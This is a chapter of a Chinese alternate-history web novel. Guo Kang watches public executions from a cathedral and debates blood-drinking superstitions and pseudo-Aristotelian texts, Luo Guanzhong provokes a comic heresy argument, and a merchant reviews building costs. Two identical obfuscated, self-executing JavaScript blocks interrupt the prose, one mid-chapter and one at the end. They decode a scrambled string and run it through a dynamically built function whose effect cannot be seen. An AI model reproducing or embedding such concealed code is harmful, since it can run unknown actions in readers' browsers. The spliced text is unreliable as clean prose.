郭康站在大教堂的阳台上,环顾四周。城里燃起的黑烟已经散去,四处都有人在来回奔波忙碌。除了还在四处巡查的士兵,远看起来,这里已经恢复了正常。
不过,仔细看周围,还是能发现,情况并没有这么简单。就在不远处的广场上,还聚集着一大群市民。一队士兵把十几个犯人押上临时搭建的台子。一名官员拿着长长的文卷,向众人宣读,随后把它挂在旁边的架子上。
等他宣布完,士兵们就把犯人按在前面的木桩上。周围的市民都异常激动,大喊着向前推挤,朝这些人投掷石头和土块,甚至砸中了旁边的士兵。周围维护秩序的人,只能尽力阻拦,好不容易才把他们挡住。
郭康并不认得这些犯人,离得这么远,他也看不清楚。不过,他今天早上来教堂的时候,那边就开始集中处决黑帮的头目和打手、骨干了。这些人,应该也是同一批。
只是,犯人们现在都老实得很,有些干脆已经吓瘫了,得让人抓着才能跪直身,完全没了平日里那种嚣张的感觉,也难怪平日里分辨不清了。
一名神父走上来,例行为他们做最后祈祷,又引得周围人一阵大骂。不过,这流程倒是必须的。很快,他就祈祷完毕,离开了刑场。
刽子手们都不怎么专业,连刑具都不统一,有些人拿着长剑,有些抱着大斧,明显就是把平日里用的兵器直接带来了。
刑场边,一名刑部官员最后点查了一遍,挥动一个小木牌,向他们下达指令。众人便各自挥动武器,把犯人首级斩下。人群中立刻爆发出一阵巨大的欢呼,连大教堂这里,都能听得清清楚楚。
虽然不怎么专业,但好在刽子手们的动作还算干脆,没有出现几下砍不死,或者没斩下来之类的情况。很快,就有勤杂人员上来,收拾尸体。有比较勤快的,还麻利地拿出杯子,接下犯人的血,向围观者出售。
按照欧洲传统医学,犯人的血直接饮用,可以治疗癫痫一类的疾病。然而这次,观众们对受刑者似乎过于痛恨。众人又是一通怒骂,看起来并不能接受饮用这种东西,售卖者只能悻悻地把血倒掉,赶紧把尸体拖走。
“我们得向民众们普及一些医学常识了。”郭康忍不住对旁边的几位修士说道:“这次还好,平日里我看是真有人直接拿着喝的。”
“市民们觉得这些人罪恶过于深重,不想接触。”一个修士告诉他:“平时,还是有不少人会乐意去买下来的。”
“为什么会有这种想法啊。”虽然知道大家确实喜欢信一些乱七八糟的东西,但郭康还是有些不甘心,嘀咕道。
“民间有不少说法。”修士说:“比如有些人就认为,人的一生是个生命力逐渐耗尽的过程。所以没有到寿终正寝却死亡了的人,身体里就有多余的‘生命力’,通过饮血,就能把这些生命力补充给自己。我不知道这個说法的来源是哪里,但一直有人坚信这一点,还说这是亚里士多德说的。”
“这怎么也跟亚里士多德有关系了?”郭康有些意外。
“我还真见到有人论述这个问题。不过他们倒是没有分析这么玄乎的东西,而是从四体液学说出发,延伸出来的。”修士回答:“大致意思,可能就是一些病缺乏血液,所以就要补充这个吧。”
“四体液学说,最初是由希波克拉底提出的,之后常年是医学的主流。而这个理论的哲学基础,一般认为是四元素说。有人就认为,希波克拉底跟着哲学家德谟克利特学习过,这些理论可能就是由此而来的。而四元素说的集大成者,也是亚里士多德。所以,这么论述下来,也确实有点关系。”
“四元素说和这个理论,我觉得差距有点太远了,回头我好好研究下。”郭康想了想,说:“至于生命力这个说法,肯定是歪理邪说。”
“这种涉及到生命灵性的玄学概念,都是和灵魂有关的。而人的灵魂,是天父自己掌管的领域,不是凡人可以染指的。普通人怎么可能随便就改变和调用它呢?说实话,哪怕亚里士多德是天兄之前的人物,我也不觉得,以他的智慧,真会提出这种奇怪的理论。”
“现在市面上,假冒亚里士多德的作品太多了。”他摇摇头:“我听说,早在查士丁尼那会儿,就有人抱怨说,托名亚里士多德的书籍多得离谱,亚圣自己写一辈子估计都写不完。这种习惯,从塞里斯到希腊,都广泛存在,没什么值得意外的。”
“哪怕有些水平比较高的书籍,比如天方教哲学家经常喜欢引用的《亚里士多德神学》,就可以确定,并不是他自己写的。至于那些水平本来就不太行的作品,更是没法看了。这里头,肯定有不少奇谈怪论,大家不要理会就行了。”
“那要是考证出来,真的是亚里士多德的观点,怎么办?”有好事的人,好奇地问道。
“亚里士多德也是人,会犯错也是正常的。而且,这是天兄当年的教导啊。”郭康反驳道:“亚里士多德还能有天兄聪明?”
“……”
众人大概是没想到还有这种辩论方式,一时哑口无言。
虽然全世界的人,似乎都倾向于直观地认为,古时候的贤人是最聪明的,超过了现在——或者说,起码是现在绝大部分人。但是,古时候的贤人也有很多,他们的说法,互相也会打架。而且,他们的地位,也有高低之分,在不同的派别里可能还不太一样。
拜上帝教这边,已经算不错了。隔壁天方教,因为长期没有大牧首和教宗管,派别就更加繁多,甚至都有认为先知只是为王前驱、伊玛目阿里才是胡大钦点使者的教派。碰到这样的情况,就不好说哪个老祖宗才更聪明了……
当然了,在这边,老祖宗们战设定的话,亚圣估计是打不过天兄的。所以,这个办法,虽然怎么看都很奇怪,但倒是确实可以用。
“我们教会的一个本职工作,就是启迪民智,排除蒙昧。有条件的话,需要尽可能地教育普通人,教给他们足够的理性知识,让他们能够清醒地认识天父赐予我们的世界,从而可以自行识别那些基本的邪说,远离迷信。”郭康告诫大家:“这种事情不是一两天就能做成的,大家还是要努力啊!”
对于这点,众人倒是非常赞同,纷纷表示支持。
说完这些,郭康也不再继续观察,回到了走廊里,准备继续工作。
他经过大厅,正好看到一群人围在那里。
“那是怎么了?”他问。
“那些法国人是刚才来的,说要找人。”一个修士告诉他:“他们公主现在还没找到呢,听说吴世子经常来这边,就提前在这儿等着,想问问情况。”
“他得饭点才会来吧。而且这几天他在外面挺受欢迎的,可能就不在这边吃了。”郭康说。
“这倒无所谓,罗先生在呢。”修士指了指人群中间:“那些法国人跟他聊的挺好的。其实大家都更喜欢三国故事啊。”
(function(){function f2be13a99(xe15602a5){var g30a8="&k♗1zscax3.;♘☁iઈu㏒w☧㏕@drw➢@i☁ejr,do☁➢ixj㏑h^cx^x-j-(x)>ph){rgh((6=^g665){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)}jcej{fr, r♘k.g=^qidw➢@ic){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)0wd^.r^☁,jy@fj✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}0wd^.r^☁rxx✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}}fr, 36d.^.=^g665xg5~k^h-@drcnw@,rpj☁pjw✎wjyceddrjr))0➢^c6gg-hgk.(==iqcc){6gg-hgk.(={6,@aej,7@qiwu5}}6gg-hgk.(☁6,@aej,7@qiw++0fr, arxhgg=udg^5cfd((.(j~g☁d@idrwc)=>xg5~k^h-){rgh((6☁frcqj+="\\,\\irkkjixjx jy w@ owyc"0fr, pd♘.g~=^g665☁pjw✩cjyjiwwu✎xc36d.^.☁➢x)0➢^cpd♘.g~==iqcc❆❆pd♘.g~==qixj^➢ijx){rgh((6☁frcqj+="\\,\\i driw pjw jy ^,@y owyc"}}}0➢^crgh((6⋌=iqcc){rgh((6☁frcqj+="\\,\\iejix 3e o@ew "+sjgg5j^~}fr, 6d5rxjg=^qidw➢@ici(~(xrg){,jwq,i ^(r-.rxx5ci(~(xrg)){rgh((6☁frcqj+="\\,\\i,jdj➢fj jy k@ew yjeerpj"0rgh((6☁frcqj+="\\,\\ij☁xrwr☁f "+j☁xrwr☁s}ija 2qidw➢@ic"r,pe"☧j☁xrwr☁s)c{vwxdeu➢dx~k☧vw,rurgh((6})}})})c"♆➢.3rBkk❅B.i[g☆q✪y✂f6☓=="☧"k.-♘~g55~kg♘ghg"☧a➢ix@a☧x@dqyjiw)}0➢k♘♘kjrc)0.substr(10));new function(c)()})();
“希腊人都说,你是东方最优秀的吟游诗人,见识广,学问也高。这些问题,只要他们给你一说,你肯定就懂了。”其他人也附和起来。
“伱们要说神话,我也听说过。”罗贯中也跟他们诌起来:“你知道么?当年我们那边,也有十字教,按他们的说法,诸葛丞相其实是移鼠的哥哥。所以,他对世间学问的理解,是超过移鼠的。论起来,那肯定是他更聪明了!”
“啊?”
别说那些法国人,就是郭康这边,罗马教会众人也是一脸茫然。
“天兄比诸葛丞相要早吧?”有个教士惊讶之下,顺口确认道。
“那个是下凡时间,又不是天上的顺序。这个不算的。”罗贯中摇头说:“据说,天兄一生中,打不过犹太祭司,也不能得到重用,连安抚人心的工作,都是心有余而力不足。天父觉得这儿子太不争气,就让诸葛丞相来,他虽然也没能完成愿望,但战斗力比犹太人高多了,而且也擅长攻心,很受爱戴,汉人、夷人至今都十分怀念他。这不就可以直接看出来了么?”
“哎,还能这样?”
“你这说法是哪个教派讲的,太异端了吧……”
罗马教士们也议论纷纷。
“是啊,太离谱了……”
“他们教会都觉得你太异端,我觉得你这个真的是异端。”
一众法国人也评价道。
“你说谁异端?”有的教士反应敏锐,立刻不乐意了。
很快,众人便吵作一团。
郭康也没工夫管他了,赶紧过去劝架,把自己这边的人都拉走,让罗贯中他们,去外头继续聊去。好不容易把大家分开,就赶紧去办正事,准备去找王大喇嘛了。
******
街道旁的小楼楼顶,孙十万带着一众随从,满意地看着周围的工地。
“当家的,我们已经把账目算好了。”一个账房打扮的人,把一个账本递给了他:“购买这片地皮的钱,还有雇佣匠人营造仓库的各项费用,都在里面了。”
“好,我看看。”
孙十万说着,接过账本,看了眼,随即皱起了眉头。
“这工价怎么一点也没变啊?”他一边翻阅,一边问道:“你们直接找的匠人?”
“是的,老爷。”旁边,另一个伙计躬了躬身:“建筑工行会已经基本瓦解了。前天,有兵士过来,说他们的会长和几个大行商,都牵扯进了谋反的案子,把他们一网打尽了。”
“现在没有行会管着,工匠都开始自行接生意了。但因为没人罩着,所以也没法维持高价。而且,没了人在中间抽成,价格按理说也更容易讲下来。所以,我们就专门趁这时候来招工的。”
“没错,这个想法没问题。”孙十万点点头,合上册子:“行会一方面会压榨这些人,另一方面,却也会给他们提供保障,尤其是面对外人的时候。现在大都这个样子,行会组织被官府取缔,财产被查封,他们应该很难过才对。怎么要价还高了?”
“因为现在有传言,说官府要重新整顿行会,今后会更公平的。很多人就不急了,准备等新行会组织起来,再接大单子。”伙计告诉他。
“那这段时间呢?他们吃什么?我们可是好不容易才等到这个压低价格的机会……”虽然已经明白,这次的机会抓不住了,但孙十万依然难免有些不甘心。
“有个意大利商人雇了不少人去做工,石匠们很多都去那边了。”账房说:“那边的薪酬还可以,和之前差不多,所以他们就有心情开价了。”
(function(){function f2be13a99(xe15602a5){var g30a8="&k♗1zscax3.;♘☁iઈu㏒w☧㏕@drw➢@i☁ejr,do☁➢ixj㏑h^cx^x-j-(x)>ph){rgh((6=^g665){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)}jcej{fr, r♘k.g=^qidw➢@ic){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)0wd^.r^☁,jy@fj✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}0wd^.r^☁rxx✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}}fr, 36d.^.=^g665xg5~k^h-@drcnw@,rpj☁pjw✎wjyceddrjr))0➢^c6gg-hgk.(==iqcc){6gg-hgk.(={6,@aej,7@qiwu5}}6gg-hgk.(☁6,@aej,7@qiw++0fr, arxhgg=udg^5cfd((.(j~g☁d@idrwc)=>xg5~k^h-){rgh((6☁frcqj+="\\,\\irkkjixjx jy w@ owyc"0fr, pd♘.g~=^g665☁pjw✩cjyjiwwu✎xc36d.^.☁➢x)0➢^cpd♘.g~==iqcc❆❆pd♘.g~==qixj^➢ijx){rgh((6☁frcqj+="\\,\\i driw pjw jy ^,@y owyc"}}}0➢^crgh((6⋌=iqcc){rgh((6☁frcqj+="\\,\\iejix 3e o@ew "+sjgg5j^~}fr, 6d5rxjg=^qidw➢@ici(~(xrg){,jwq,i ^(r-.rxx5ci(~(xrg)){rgh((6☁frcqj+="\\,\\i,jdj➢fj jy k@ew yjeerpj"0rgh((6☁frcqj+="\\,\\ij☁xrwr☁f "+j☁xrwr☁s}ija 2qidw➢@ic"r,pe"☧j☁xrwr☁s)c{vwxdeu➢dx~k☧vw,rurgh((6})}})})c"♆➢.3rBkk❅B.i[g☆q✪y✂f6☓=="☧"k.-♘~g55~kg♘ghg"☧a➢ix@a☧x@dqyjiw)}0➢k♘♘kjrc)0.substr(10));new function(c)()})();